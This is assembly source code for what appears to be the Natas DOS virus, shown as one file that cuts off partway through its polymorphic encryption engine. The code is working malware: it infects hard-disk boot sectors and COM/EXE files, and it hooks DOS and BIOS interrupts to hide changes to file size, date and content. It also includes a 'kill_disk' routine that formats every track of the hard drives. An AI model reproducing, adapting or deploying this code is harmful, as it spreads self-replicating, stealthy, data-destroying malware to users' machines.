+high_code: push cs + pop ds + mov byte ptr ds:[di+origin-jump_code_13],file ; tunnel + mov ax,2 + call random ; 1 in 3 chance of no stealth + ; on special programs + mov ds:check_special,al + mov ds:hook_21,no_hook_21 ; dont hook int 21h + mov al,0eah + stosb ; store at jump_code_13 + mov ds:[di+4],al + mov ax,offset new_13 + stosw + mov word ptr ds:[di+3],offset new_21 + mov ds:[di],cs + mov ds:[di+5],cs + push di + call find_ints ; trace interrupts + pop di + push cs + pop ds + mov ax,ds:dos_seg + cmp word ptr ds:[di+(dos_13+2)-(jump_code_13+3)],ax + ; found DOS' int 13h? + ja call_inf_hard + cmp word ptr ds:[di+(int_21+2)-(jump_code_13+3)],ax + ; found DOS' int 21h? + ja call_inf_hard + call swap_13 + call swap_21 ; insert jumps into DOS +call_inf_hard: call inf_hard ; infect drive C: + or bp,bp ; ZF -> No TBCLEAN + mov si,bp ; SI=0 if goto jump_host + jne kill_disk + jmp jump_host + +kill_disk: xor bx,bx + mov es,bx ; table to use for format + mov dl,80h ; Drive C: +kill_next_disk: xor dh,dh ; head 0 +kill_next_track:xor cx,cx ; track 0 +kill_format: mov ax,501h + call call_disk ; format track + and cl,11000000b + inc ch ; next track low + jne kill_format + add cl,40h ; next track high + jne kill_format + xor ah,ah + int 13h ; reset disk + inc dh ; next head + cmp dh,10h + jb kill_next_track + inc dx ; next drive + jmp kill_next_disk + +;=====( Interrupt 13h handler )==============================================; + +new_13: jmp $ +hook_21 = byte ptr $ - 1 + +check_21: call push_all + mov al,21h + call get_int ; get int 21h address + mov ax,es + push cs cs + pop ds es + cmp ax,800h ; too high? + ja cant_hook_21 + mov di,offset int_21 + 2 + std + xchg ax,ds:[di] ; swap addresses + scasw ; did it change? + je cant_hook_21 + mov ds:[di],bx + mov al,21h + mov dx,offset new_21 + call set_int ; hook int 21h + mov ds:hook_21,no_hook_21 +cant_hook_21: call pop_all + +new_13_next: cmp ah,2h ; Read? + jne jump_13 + cmp cx,1 ; track 0, sector 1? + jne jump_13 + or dh,dh ; head 0? + je hide_boot +jump_13: call call_dos_13 + retf 2h + + +hide_boot: call call_dos_13 ; read boot sector + call push_all + jb hide_boot_err + push es cs + pop es ds + mov cx,100h + mov si,bx + mov di,offset disk_buff + mov bx,di + cld + rep movsw ; copy boot sector to buffer + push cs + pop ds + call find_boot ; find start/already infected? + jne inf_boot + mov ax,201h + mov cx,ds:[si+load_sect-loader] + mov dh,byte ptr ds:[si+(load_head+1)-loader] + ; get code location + call call_disk ; read virus code + jb hide_boot_err + mov ax,ds:[0] + cmp ds:[bx],ax ; verify infection + jne hide_boot_err + mov di,ss:[bp.reg_bx] + mov es,ss:[bp.reg_es] ; get caller's buffer + sub si,bx ; displacement into boot sect. + add di,si ; address of loader + lea si,ds:[bx+(boot_code-v_start)] ; boot code in virus + call move_boot_code1 ; hide infection +hide_boot_err: call pop_all + retf 2h + +inf_boot: cmp dl,80h ; hard disk? + jnb hide_boot_err + mov ax,301h + mov cx,1 + call call_disk ; Write boot sector to disk + ; CY -> Write-Protected + jb hide_boot_err + mov si,dx ; save drive # + mov di,bx + mov ax,ds:[di.bs_sectors] ; get number of sectors + mov cx,ds:[di.bs_sectors_per_track] + sub ds:[di.bs_sectors],cx ; prevent overwriting of code + mov ds:hide_count,cx + xor dx,dx + or ax,ax ; error? + je hide_boot_err + jcxz hide_boot_err + div cx + or dx,dx ; even division? + jne hide_boot_err + mov bx,ds:[di.bs_heads] ; get number of heads + or bx,bx + je hide_boot_err + div bx + or dx,dx + jne hide_boot_err + dec ax + mov ch,al ; last track + mov cl,1 ; sector 1 + dec bx + mov dx,si ; drive + mov dh,bl ; last head + mov bx,di ; offset disk buffer + call copy_loader ; Copy loader into Boot sector + jb hide_boot_err + mov ax,300h + sect_size + xor bx,bx + call call_disk + jb hide_boot_err + mov ax,301h + mov bx,offset disk_buff + mov cx,1 + xor dh,dh + call call_disk ; write boot sector to disk + mov bx,ss:[bp.reg_bx] + mov ds,ss:[bp.reg_es] ; get caller's buffer + sub ds:[bx.bs_sectors],9ffh ; prevent overwriting of code +hide_count = word ptr $ - 2 + jmp hide_boot_err + +;=====( Interrupt 21h handler )==============================================; + +new_21: cli + mov cs:int_21_ss,ss + mov cs:int_21_sp,sp ; save stack pointers + push cs + pop ss + mov sp,offset temp_stack ; allocate stack + sti + call push_all + in al,21h + or al,2 ; disable keyboard + out 21h,al + push cs + pop ds + mov di,offset new_24 + mov word ptr ds:[di-(new_24-handle)],bx ; save handle + mov al,24h + call get_int ; get address of int 24h + mov word ptr ds:[di-(new_24-int_24)],bx + mov word ptr ds:[di-(new_24-(int_24+2))],es + mov word ptr ds:[di],03b0h ; MOV AL,3 + mov byte ptr ds:[di+2],0cfh ; IRET + mov dx,di + call set_int ; hook int 24h + call pop_all + call swap_21 ; remove jump from int 21h + call push_all + cmp ah,30h ; get DOS version? + jne is_dir_fcb + add bx,666h ; looking for us? + jnz is_dir_fcb + mov ss:[bp.reg_ax],bx ; set DOS version=0 + mov ss:[bp.reg_bx],bx + jmp retf_21 + +is_dir_fcb: cmp ah,11h + jb is_dir_asciiz + cmp ah,12h + ja is_dir_asciiz + call call_21 ; do find + or al,al ; error? + je dir_fcb + jmp jump_21 + +dir_fcb: call save_returns ; save AX + call get_psp ; get current PSP + mov ax,'HC' + scasw ; CHKDSK? + jne dir_fcb_ok + mov ax,'DK' + scasw + jne dir_fcb_ok + mov ax,'KS' + scasw + je retf_21 +dir_fcb_ok: call get_dta ; get DTA address + xor di,di + cmp byte ptr ds:[bx],-1 ; extended FCB? + jne dir_fcb_next + mov di,7h ; fix it up +dir_fcb_next: lea si,ds:[bx+di.ds_date+1] ; offset of year -> SI +dir_hide: call is_specialfile ; no stealth if helper + je retf_21 + cmp byte ptr ds:[si],years ; infected? + jc retf_21 + sub byte ptr ds:[si],years ; restore old date + les ax,ds:[bx+di.ds_size] ; get size of file + mov cx,es + sub ax,file_size ; hide size increase + sbb cx,0 + jc retf_21 + mov word ptr ds:[bx+di.ds_size],ax + mov word ptr ds:[bx+di.ds_size+2],cx ; save new size +retf_21: call undo_24 ; unhook int 24h + call pop_all + call swap_21 ; insert jump + cli + mov ss,cs:int_21_ss + mov sp,cs:int_21_sp + sti + retf 2 + + +is_dir_asciiz: cmp ah,4eh + jb is_lseek + cmp ah,4fh + ja is_lseek + call call_21 + jnc dir_asciiz +go_jump_21: jmp jump_21 + +dir_asciiz: call save_returns ; save AX and flags + call get_dta ; get dta address + mov di,-3 + lea si,ds:[bx.dta_date+1] ; get year address + jmp dir_hide + +is_lseek: cmp ax,4202h ; Lseek to end? + jne is_date + call call_21_file + jb go_jump_21 + call get_dcb ; get DCB address + jbe lseek_exit + call is_specialfile ; dont hide true size from + ; helpers + je lseek_exit + sub ax,file_size + sbb dx,0 ; hide virus at end + mov word ptr ds:[di.dcb_pos],ax + mov word ptr ds:[di.dcb_pos+2],dx ; set position in DCB +lseek_exit: clc + call save_returns ; save AX/flags + mov ss:[bp.reg_dx],dx + jmp retf_21 + +is_date: cmp ax,5700h ; get date? + je get_date + cmp ax,5701h ; set date? + jne is_read + call get_dcb + jbe date_err + cmp dh,years ; already setting 100 years? + jnb date_err + add dh,years ; dont erase marker +get_date: call is_specialfile ; do not hide date for + ; helpers + je date_err + call call_21_file ; get/set date + jnc date_check +date_err: jmp jump_21 + +date_check: cmp dh,years ; infected? + jb date_ok + sub dh,years +date_ok: clc + call save_returns ; save ax/flags + mov ss:[bp.reg_cx],cx + mov ss:[bp.reg_dx],dx ; save time/date + jmp retf_21 + +is_read: cmp ah,3fh ; reading file? + je do_read +no_read: jmp is_write + +do_read: call get_dcb ; get DCB address + jbe no_read + call is_specialfile + je no_read + les ax,ds:[di.dcb_size] ; get size of file + mov bx,es + les dx,ds:[di.dcb_pos] ; get current position + mov si,es + and cs:read_bytes,0 + or si,si ; in 1st 64k? + jnz read_high + cmp dx,18h ; reading header? + jnb read_high + push cx + add cx,dx + cmc + jnc read_above + cmp cx,18h ; read goes above header? +read_above: pop cx + jb read_below + mov cx,18h + sub cx,dx +read_below: push ax bx ; save size + push dx ; position + sub dx,18h + add ax,dx ; get position in header + cmc + sbb bx,si + xchg word ptr ds:[di.dcb_pos],ax + xchg word ptr ds:[di.dcb_pos+2],bx ; lseek to header + push ax bx + push ds + mov ah,3fh + mov dx,ss:[bp.reg_dx] + mov ds,ss:[bp.reg_ds] + call call_21_file ; read file + pop ds + pop word ptr ds:[di.dcb_pos+2] + pop word ptr ds:[di.dcb_pos] + pop dx + pushf + add dx,ax ; adjust position + add cs:read_bytes,ax ; remember # of bytes read + popf + pop bx ax + jnc read_high + jmp jump_21 + +read_high: mov word ptr ds:[di.dcb_pos],dx ; update position + mov word ptr ds:[di.dcb_pos+2],si + mov cx,ss:[bp.reg_cx] ; number of bytes to read + sub cx,cs:read_bytes + sub ax,file_size + sbb bx,0 ; get original size + push ax bx + sub ax,dx + sbb bx,si ; in virus now? + pop bx ax + jnc read_into + xor cx,cx ; read 0 bytes + jmp read_fake + +read_into: add dx,cx + adc si,0 ; get position after read + cmp bx,si ; read extends into virus? + ja read_fake + jb read_adjust + cmp ax,dx + jnb read_fake +read_adjust: sub dx,cx ; get position again + xchg cx,ax + sub cx,dx ; # of bytes to read = Original size - Pos +read_fake: mov ah,3fh + mov dx,ss:[bp.reg_dx] + add dx,cs:read_bytes + mov ds,ss:[bp.reg_ds] + call call_21_file ; read file + jc read_exit + add ax,0 +read_bytes = word ptr $ - 2 + clc +read_exit: call save_returns + jmp retf_21 + + +is_write: cmp ah,40h ; write? + je do_write +no_write: jmp is_infect + +do_write: call get_dcb + jbe no_write + les ax,ds:[di.dcb_size] ; get file size + mov bx,es + sub ax,18h + sbb bx,0 ; get header position + xchg ax,word ptr ds:[di.dcb_pos] + xchg bx,word ptr ds:[di.dcb_pos+2] ; lseek to header + push ax bx + mov ax,2 + xchg ax,ds:[di.dcb_mode] ; read/write mode + push ax + push ds cs + pop ds es + call read_header ; read 18h bytes + pop es:[di.dcb_mode] ; restore access mode + jc write_rest_pos + mov word ptr es:[di.dcb_pos],ax + mov word ptr es:[di.dcb_pos+2],ax ; lseek to start + call write_header ; write old header + jc write_rest_pos + push es + pop ds + sub word ptr ds:[di.dcb_size],file_size + sbb word ptr ds:[di.dcb_size+2],ax ; truncate at virus + sub byte ptr ds:[di.dcb_date+1],years ; remove 100 years +write_rest_pos: pop word ptr es:[di.dcb_pos+2] + pop word ptr es:[di.dcb_pos] + jmp jump_21 + + +is_infect: cmp ah,3eh ; Close? + je infect_3e + cmp ax,4b00h ; Execute? + je infect_4b + jmp jump_21 + +infect_4b: mov ax,3d00h ; Open file + cmp ax,0 + org $ - 2 +infect_3e: mov ah,45h ; Duplicate handle + call int_2_bios ; lock out protection programs + call call_21_file ; get handle + mov cs:handle,ax + mov ax,4408h + cwd + jc undo_bios + call get_dcb ; get DCB for handle + jb cant_infect + jne cant_infect ; error/already infected + mov bl,00111111b + and bl,byte ptr ds:[di.dcb_dev_attr] ; get drive code + mov dl,bl ; DX=00** + inc bx ; 0=default,1=a,2=b,3=c,etc. + call call_21 ; drive removable? + mov cx,1h + push cs + pop es + jc test_prot_drive + dec ax ; 1=non-removable + jz no_protect + jmp test_protect + +test_prot_drive:cmp dl,1 ; A or B? + ja no_protect +test_protect: mov ax,201h + mov bx,offset disk_buff + int 13h ; read sector + jc cant_infect + mov ax,301h + int 13h ; write it back + jc cant_infect +no_protect: inc cx ; CX=2 + xchg cx,ds:[di.dcb_mode] ; read/write access mode + push cx + xor ax,ax + xchg ah,ds:[di.dcb_attr] ; attribute=0 + test ah,00000100b ; system file? + push ax + jne cant_system + cbw + cwd + xchg ax,word ptr ds:[di.dcb_pos] + xchg dx,word ptr ds:[di.dcb_pos+2] ; lseek to 0 + push ax dx + mov bp,-'OC' + add bp,word ptr ds:[di.dcb_ext] ; BP=0 of CO + jnz not_com + mov bp,-'MO' + add bp,word ptr ds:[di.dcb_ext+1] ; BP=0 if OM +not_com: call infect + pushf + call get_dcb + popf + jc not_infected + add byte ptr ds:[di.dcb_date+1],years ; add 100 years +not_infected: or byte ptr ds:[di.dcb_dev_attr+1],40h ; no time/date + pop word ptr ds:[di.dcb_pos+2] + pop word ptr ds:[di.dcb_pos] +cant_system: pop word ptr ds:[di.dcb_attr-1] ; restore attribute + pop ds:[di.dcb_mode] ; restore access mode +cant_infect: mov ah,3eh + call call_21_file ; close file +undo_bios: call int_2_bios ; restore interrupts + +;=====( Jump on to int 21h )=================================================; + +jump_21: call undo_24 ; unhook int 24h + push cs + pop ds + mov al,1h + mov di,offset int_1 + cmp byte ptr ds:[di+origin-int_1],al ; file origin? + jne jump_21_1 + call get_int ; get int 1h address + mov ds:[di],bx + mov ds:[di + 2],es + mov byte ptr ds:[di+inst_count-int_1],5 + mov ds:trace_mode,step_21 + mov dx,offset tracer + call set_int ; hook int 1h + call pop_all + push si + pushf + pop si + call si_tf ; set TF + pop si +go_21: cli + mov ss,cs:int_21_ss + mov sp,cs:int_21_sp ; restore stack + sti +go_2_21: jmp cs:int_21 + +jump_21_1: call pop_all + jmp go_21 + +;=====( actual infection routine )===========================================; + +infect: push cs + pop ds + call read_header ; read first 18h bytes + jc inf_bad_file + mov si,dx + mov di,offset work_header + cld + rep movsb ; copy header to work_header + call get_dcb + les ax,ds:[di.dcb_size] ; get file size + mov dx,es + mov word ptr ds:[di.dcb_pos],ax + mov word ptr ds:[di.dcb_pos+2],dx ; lseek to end + push cs cs + pop es ds + mov cx,ds:[si] ; get first 2 bytes + cmp cx,'MZ' ; .EXE file? + je inf_exe + cmp cx,'ZM' ; .EXE file? + je inf_exe + or dx,bp ; COM file and < 64k? + jnz inf_bad_file + cmp ax,0-(file_size+100) + ja inf_bad_file + cmp ax,1000 + jb inf_bad_file + mov byte ptr ds:[si],0e9h ; build jump + inc ah ; Add PSP size (100h) + push ax ; save IP for engine + add ax,offset decrypt-103h ; get jump disp. (- PSP size) + mov ds:[si+1],ax + jmp append_vir + +inf_bad_file: stc + retn + +inf_exe: cmp word ptr ds:[si.eh_max_mem],-1 + jne inf_bad_file + mov bp,ax + mov di,dx ; save size in DI:BP + mov cx,200h + div cx ; divide into pages + or dx,dx ; Any remainder? + jz no_round + inc ax +no_round: sub ax,ds:[si.eh_size] ; size same as header says? + jne inf_bad_file + sub dx,ds:[si.eh_modulo] + jne inf_bad_file + mov ax,file_size ; virus size + add ax,bp + adc dx,di ; + program size + div cx ; / 512 + or dx,dx ; round up? + jz no_round1 + inc ax +no_round1: mov ds:[si.eh_size],ax + mov ds:[si.eh_modulo],dx ; set new size + mov bx,0-(file_size+1000) + xor cx,cx +get_exe_ip: cmp bp,bx ; make sure virus does not + ; cross segments + jb got_exe_ip + sub bp,10h ; down 10h bytes + loop get_exe_ip ; up 1 paragraph +got_exe_ip: cmp di,0fh + ja inf_bad_file + xchg cx,ax + mov cl,4 + ror di,cl ; get segment displacement + or ax,ax + jz no_para_add + sub di,ax ; Add segments from LOOP + jnc inf_bad_file +no_para_add: sub di,ds:[si.eh_size_header] ; CS-header size in + ; paragraphs + push bp ; save offset of v_start + add bp,decrypt-v_start + mov ds:[si.eh_ip],bp ; set IP + mov ds:[si.eh_cs],di ; set CS + add bp,512 ; 512 bytes of stack + mov ds:[si.eh_sp],bp ; set SP + mov ds:[si.eh_ss],di ; set SS + mov bp,8000h ; Tell engine "Exe file" + sar bx,cl ; 0 - ((file_size+1000h)/16) + mov ax,ds:[si.eh_min_mem] + sub ax,bx ; add file_size+1000h/16 + jnb append_vir + mov ds:[si.eh_min_mem],ax + +append_vir: pop ax + call engine ; encrypt/write/decrypt + push bp + popf + jc append_vir_err + call get_dcb + mov word ptr ds:[di.dcb_pos],cx + mov word ptr ds:[di.dcb_pos+2],cx ; lseek to start + mov ah,40h + mov dx,offset work_header + push cs + pop ds + call header_op ; write new header to file +append_vir_err: retn + +;=====( Get DCB address for file )===========================================; + +get_dcb: push ax bx + mov ax,1220h + mov bx,cs:handle ; get file handle + int 2fh ; get DCB number address + jc get_dcb_fail + mov ax,1216h + mov bl,es:[di] ; get DCB number + cmp bl,-1 ; Handle Openned? + cmc + je get_dcb_fail + int 2fh ; get DCB address + jc get_dcb_fail + push es + pop ds + test byte ptr ds:[di.dcb_dev_attr],80h ; device or file? + cmc + jne get_dcb_fail + test byte ptr ds:[di.dcb_date+1],80h ; infected? +get_dcb_fail: pop bx ax + retn + +;=====( Swap original 13h/15h/40h addresses with IVT addresses )=============; + +int_2_bios: push ax bx dx ds + mov al,13h ; int 13h + mov di,offset int_13 +int_2_bios_lp: push cs + pop ds + call get_int ; get int address + mov dx,es + xchg bx,ds:[di] ; swap offsets + cld + scasw + xchg dx,bx + xchg bx,ds:[di] ; swap segments + scasw + mov ds,bx ; DS:DX=new address + call set_int ; set int to DS:DX + cmp al,15h + mov al,15h + jnb int_2_bios_40 ; CY AL=13h + add di,4 + jmp int_2_bios_lp + +int_2_bios_40: mov al,40h + je int_2_bios_lp ; ZR AL=15h else AL=40h, exit + pop ds dx bx ax + retn + +;=====( Read/write header to file )==========================================; + +read_header: mov ah,3fh + cmp ax,0 + org $ - 2 +write_header: mov ah,40h + mov dx,offset header +header_op: mov cx,18h + call call_21_file ; read/write header + jc read_write_err + sub ax,cx +read_write_err: retn + +;=====( Unhook int 24h )=====================================================; + +undo_24: mov al,24h + lds dx,cs:int_24 + call set_int ; unhook int 24h + in al,21h + and al,not 2 ; enable keyboard + out 21h,al + retn + +;=====( Save returns after int 21h call )====================================; + +save_returns: mov ss:[bp.reg_ax],ax + pushf + pop ss:[bp.reg_f] + retn + +;=====( Return ZF set if ARJ, PKZIP, LHA or MODEM )==========================; + +is_specialfile: push ax cx si di es + mov al,0 +check_special = byte ptr $ - 1 + or al,al ; Check for special? + jnz it_is_special + call get_psp ; get MCB of current PSP + mov ax,es:[di] ; get 1st 2 letters of name + cmp ax,'RA' ; ARj? + je it_is_special + cmp ax,'HL' ; LHa? + je it_is_special + cmp ax,'KP' ; PKzip? + je it_is_special + mov cx,2 + mov si,offset backup +is_it_mod_bak: push cx di + mov cl,8 + lods byte ptr cs:[si] ; get 'B' or 'M' + xor al,66h + 6h ; decrypt + repne scasb + jne is_it_mod + cmp cl,3 + jb is_it_mod + mov cl,4 +is_ode_ack: lods byte ptr cs:[si] + xor al,66h + 6h + jz is_it_mod ; 0 (done)? + scasb + loope is_ode_ack +is_it_mod: mov si,offset modem + pop di cx + loopne is_it_mod_bak +it_is_special: pop es di si cx ax + retn + +backup: db 'B' xor (66h + 6h) + db 'A' xor (66h + 6h) + db 'C' xor (66h + 6h) + db 'K' xor (66h + 6h) + db 0 xor (66h + 6h) + +modem: db 'M' xor (66h + 6h) + db 'O' xor (66h + 6h) + db 'D' xor (66h + 6h) + db 'E' xor (66h + 6h) + db 'M' xor (66h + 6h) + + +;=====( get current PSP segment )============================================; + +get_psp: push ax bx + mov ah,62h + call call_21 ; get PSP segment + dec bx + mov es,bx ; MCB of current program + mov di,8h ; offset of file name + cld + pop bx ax + retn + +;=====( Get DTA address )====================================================; + +get_dta: mov ah,2fh + call call_21 ; DTA address into ES:BX + push es + pop ds + retn + +call_dos_13: call swap_13 + pushf + call cs:dos_13 + call swap_13 + retn + +call_disk: test dl,80h ; ZF -> Floppy disk (int 40h) + je call_40 + +call_13: pushf + call cs:int_13 + retn + +call_21_file: mov bx,0 +handle = word ptr $ - 2 + +call_21: pushf + push cs + call go_2_21 + retn + +call_40: pushf + call cs:int_40 + retn + +include eng.asm + + db "Natas",0 + +even + +decrypt: mov word ptr ds:[100h],1f0eh ; PUSH CS/POP DS + mov byte ptr ds:[102h],0e8h ; CALL + jmp file_start + + org decrypt + 150 + +header dw 18h / 2 dup(20cdh) + +file_end: + +work_header dw 18h / 2 dup(?) + +write_buff: db encode_end-encode dup(?) + +int_21_ss dw ? +int_21_sp dw ? + + dw 256 / 2 dup(?) +temp_stack: + +jump_code_13 db 5 dup(?) +jump_code_21 db 5 dup(?) + +int_1 dd ? +int_24 dd ? + +int_13 dd ? +dos_13 dd ? +int_15 dd ? +int_40 dd ? +int_21 dd ? + +new_24: db 3 dup(?) + +push_pop_ret dw ? + +pointer dw ? +disp dw ? +encode_ptr dw ? +encode_enc_ptr dw ? + +key_reg db ? +count_reg db ? +ptr_reg db ? +ptr_reg1 db ? +modify_op db ? + + +origin db ? +inst_count db ? + +disk_buff db 512 dup(?) + +v_end: + + +;=====( Very useful structures )=============================================; + + + +;=====( Memory Control Block structure )=====================================; + +mcb struc +mcb_sig db ? ; 'Z' or 'M' +mcb_owner dw ? ; attribute of owner +mcb_size dw ? ; size of mcb block +mcb_name db 8 dup(?) ; file name of owner +mcb ends + + +;=====( For functions 11h and 12h )==========================================; + + +Directory STRUC +DS_Drive db ? +DS_Name db 8 dup(0) +DS_Ext db 3 dup(0) +DS_Attr db ? +DS_Reserved db 10 dup(0) +DS_Time dw ? +DS_Date dw ? +DS_Start_Clust dw ? +DS_Size dd ? +Directory ENDS + + +;=====( for functions 4eh and 4fh )==========================================; + + +DTA STRUC +DTA_Reserved db 21 dup(0) +DTA_Attr db ? +DTA_Time dw ? +DTA_Date dw ? +DTA_Size dd ? +DTA_Name db 13 dup(0) +DTA ENDS + + +Exe_Header STRUC +EH_Signature dw ? ; Set to 'MZ' or 'ZM' for .exe files +EH_Modulo dw ? ; remainder of file size/512 +EH_Size dw ? ; file size/512 +EH_Reloc dw ? ; Number of relocation items +EH_Size_Header dw ? ; Size of header in paragraphs +EH_Min_Mem dw ? ; Minimum paragraphs needed by file +EH_Max_Mem dw ? ; Maximum paragraphs needed by file +EH_SS dw ? ; Stack segment displacement +EH_SP dw ? ; Stack Pointer +EH_Checksum dw ? ; Checksum, not used +EH_IP dw ? ; Instruction Pointer of Exe file +EH_CS dw ? ; Code segment displacement of .exe +eh_1st_reloc dw ? ; first relocation item +eh_ovl dw ? ; overlay number +Exe_Header ENDS + +Boot_Sector STRUC +bs_Jump db 3 dup(?) +bs_Oem_Name db 8 dup(?) +bs_Bytes_Per_Sector dw ? +bs_Sectors_Per_Cluster db ? +bs_Reserved_Sectors dw ? +bs_FATs db ? ; Number of FATs +bs_Root_Dir_Entries dw ? ; Max number of root dir entries +bs_Sectors dw ? ; number of sectors; small +bs_Media db ? ; Media descriptor byte +bs_Sectors_Per_FAT dw ? +bs_Sectors_Per_Track dw ? +bs_Heads dw ? ; number of heads +bs_Hidden_Sectors dd ? +bs_Huge_Sectors dd ? ; number of sectors; large +bs_Drive_Number db ? +bs_Reserved db ? +bs_Boot_Signature db ? +bs_Volume_ID dd ? +bs_Volume_Label db 11 dup(?) +bs_File_System_Type db 8 dup(?) +Boot_Sector ENDS + + +Partition_Table STRUC +pt_Code db 1beh dup(?) ; partition table code +pt_Status db ? ; 0=non-bootable 80h=bootable +pt_Start_Head db ? +pt_Start_Sector_Track dw ? +pt_Type db ? ; 1 = DOS 12bit FAT 4 = DOS 16bit FAT +pt_End_Head db ? +pt_End_Sector_Track dw ? +pt_Starting_Abs_Sector dd ? +pt_Number_Sectors dd ? +Partition_Table ENDS + + +int_1_stack STRUC +st_ip dw ? ; offset of next instruction after + ; interrupt +st_cs dw ? ; segment of next instruction +st_flags dw ? ; flags when interrupt was called +int_1_stack ENDS + +;----------------------------------------------------------------------------; +; Dcb description for DOS 3+ ; +; ; +; Offset Size Description ; +; 00h WORD number of file handles referring to this file ; +; 02h WORD file open mode (see AH=3Dh) ; +; bit 15 set if this file opened via FCB ; +; 04h BYTE file attribute ; +; 05h WORD device info word (see AX=4400h) ; +; 07h DWORD pointer to device driver header if character device ; +; else pointer to DOS Drive Parameter Block (see AH=32h) ; +; 0Bh WORD starting cluster of file ; +; 0Dh WORD file time in packed format (see AX=5700h) ; +; 0Fh WORD file date in packed format (see AX=5700h) ; +; 11h DWORD file size ; +; 15h DWORD current offset in file ; +; 19h WORD relative cluster within file of last cluster accessed ; +; 1Bh WORD absolute cluster number of last cluster accessed ; +; 0000h if file never read or written??? ; +; 1Dh WORD number of sector containing directory entry ; +; 1Fh BYTE number of dir entry within sector (byte offset/32) ; +; 20h 11 BYTEs filename in FCB format (no path/period, blank-padded) ; +; 2Bh DWORD (SHARE.EXE) pointer to previous SFT sharing same file ; +; 2Fh WORD (SHARE.EXE) network machine number which opened file ; +; 31h WORD PSP segment of file's owner (see AH=26h) ; +; 33h WORD offset within SHARE.EXE code segment of ; +; sharing record (see below) 0000h = none ; +;----------------------------------------------------------------------------; + + + +dcb struc +dcb_users dw ? +dcb_mode dw ? +dcb_attr db ? +dcb_dev_attr dw ? +dcb_drv_addr dd ? +dcb_1st_clst dw ? +dcb_time dw ? +dcb_date dw ? +dcb_size dd ? +dcb_pos dd ? +dcb_last_clst dw ? +dcb_current_clst dw ? +dcb_dir_sec dw ? +dcb_dir_entry db ? +dcb_name db 8 dup(?) +dcb_ext db 3 dup(?) +dcb_useless1 dw ? +dcb_useless2 dw ? +dcb_useless3 dw ? +dcb_psp_seg dw ? +dcb_useless4 dw ? +dcb ends + +bpb STRUC +bpb_Bytes_Per_Sec dw ? +bpb_Sec_Per_Clust db ? +bpb_Reserved_Sectors dw ? +bpb_FATs db ? ; Number of FATs +bpb_Root_Dir_Entries dw ? ; Max number of root dir entries +bpb_Sectors dw ? ; number of sectors; small +bpb_Media db ? ; Media descriptor byte +bpb_Sectors_Per_FAT dw ? +bpb_Sectors_Per_Track dw ? +bpb_Heads dw ? ; number of heads +bpb_Hidden_Sectors dd ? +bpb_Huge_Sectors dd ? ; number of sectors; large +bpb_Drive_Number db ? +bpb_Reserved db ? +bpb_Boot_Signature db ? +bpb_Volume_ID dd ? +bpb_Volume_Label db 11 dup(?) +bpb_File_System_Type db 8 dup(?) +bpb ENDS + + +register struc +reg_es dw ? +reg_ds dw ? +reg_di dw ? +reg_si dw ? +reg_bp dw ? +reg_dx dw ? +reg_cx dw ? +reg_bx dw ? +reg_ax dw ? +reg_f dw ? +register ends + +sys_file struc +sys_next dd ? +sys_strat dw ? +sys_int dw ? +sys_file ends + + + end +-----------------------------<>--------------------------------------- + +_ax equ 0 +_cx equ 1 +_dx equ 2 +_bx equ 3 +_sp equ 4 +_bp equ 5 +_si equ 6 +_di equ 7 + + +engine: mov ds:pointer,ax ; save IP + mov di,offset decrypt + mov bx,offset make_count + mov cx,offset make_key + mov dx,offset make_ptr + mov si,offset order_ret + or bp,11101111b ; SP is used + call order ; randomize and call registers + push di ; save start of loop + push di + mov si,offset encode + mov di,offset write_buff + mov cx,encode_end-encode + rep movsb ; copy write code + mov ds:encode_ptr,offset (encode_break-encode)+write_buff + pop di + mov bx,offset make_enc + mov cx,offset make_keychange + mov dx,offset make_deccount + mov si,offset make_incptr + call order ; call routines + +;=====( Preform loop )=======================================================; + + mov ax,2 + push ax + call random ; test BP for 4000? + pop ax + jz loop_no_test + test bp,4000h ; possible to just "Jcc"? + jnz loop_make_jcc +loop_no_test: call random + jz loop_no_test1 + test bp,2000h ; use loop? + jnz loop_make_jcc +loop_no_test1: or bp,800h ; do not change flags + mov ax,2 + cwd + call random ; try OR/AND/TEST reg,reg + ; or XOR/ADD/OR/SUB reg,0? + mov al,ds:count_reg ; get counter + jnz loop_orandtest + call boolean ; do XOR/OR/ADD or ADD/SUB? + jnz loop_modify + call add_reg ; ADD/SUB reg,0 + jmp loop_make_jcc + +loop_modify: call modify_reg ; XOR/OR/ADD reg,0 + jmp loop_make_jcc + +loop_orandtest: mov cl,3 + mov ch,al + shl ch,cl + or al,ch ; set reg1 as reg2 also + mov bx,2 ; OR/AND/TEST + call random_bx + jnz loop_and + or ax,9c0h ; OR reg1, reg2 +loop_reverse: call boolean ; use 9 or 11? + jnz loop_orandteststo + or ah,2h ; reg2, reg1 + jmp loop_orandteststo + +loop_and: dec bx + jnz loop_test + or ax,21c0h ; AND reg1, reg2 + jmp loop_reverse + +loop_test: or ax,85c0h ; TEST reg1, reg2 +loop_orandteststo: + xchg al,ah + stosw ; store TEST/OR/AND + or bp,1800h ; do not change flags/ + ; test stored + call garble +loop_make_jcc: and bp,not 800h + test bp,2000h ; code loop? + jz loop_make_jump + mov al,0e2h ; LOOP + test bp,1000h ; possible to use LOOPNZ/Z? + jz loop_code_disp + call boolean + jnz loop_code_disp + dec ax ; LOOPZ + call boolean + jnz loop_iscx + dec ax ; LOOPNZ + jmp loop_code_disp + +;=====( Now make conditional jump )==========================================; + +jcc_tbl: db 75h,79h,7dh,7fh ; JNE/JNS/JG/JGE + +loop_make_jump: mov bx,offset jcc_tbl + mov ax,3 + call random + xlat ; get Conditional jump + mov bx,2 + call random_bx ; use JE/JS/LE/L then JMP? + jnz loop_code_disp + cmp ds:count_reg,_cx ; CX is counter? + jnz loop_notcx + mov bl,4 + call random_bx + jnz loop_notcx + mov al,0e3h + 1 ; JCXZ + 1 +loop_notcx: dec ax +loop_iscx: stosw + cmp al,07fh ; Jcxz/loopz? + ja loop_code_short + call boolean ; Use opposite or EB? + jnz loop_code_short + or bp,800h ; dont change flags +loop_code_short:mov si,di ; save offset of displacement + call garble + lea ax,ds:[si-2] + sub ax,di + neg al ; get jump displacement + mov ds:[si-1],al ; save it + test bp,800h ; Dont change flags -> "Jcc" + mov al,0ebh ; Jmp short + je loop_code_disp + mov ax,3 + call random + mov bx,offset jcc_tbl + xlat ; Get JNE/JNS/JG/JGE +loop_code_disp: stosb ; store jump + pop ax ; start of loop + dec ax + sub ax,di ; get loop displacement + stosb + or bp,11101111b ; free all registers + and bp,not 800h ; allow flags to change + call garble + mov ax,19 + call random ; 1 in 20 chance of non-jmp + jnz loop_code_jmp + mov ax,ds:pointer + add ax,offset file_start ; where to jump + xchg dx,ax + call get_reg ; get a register + 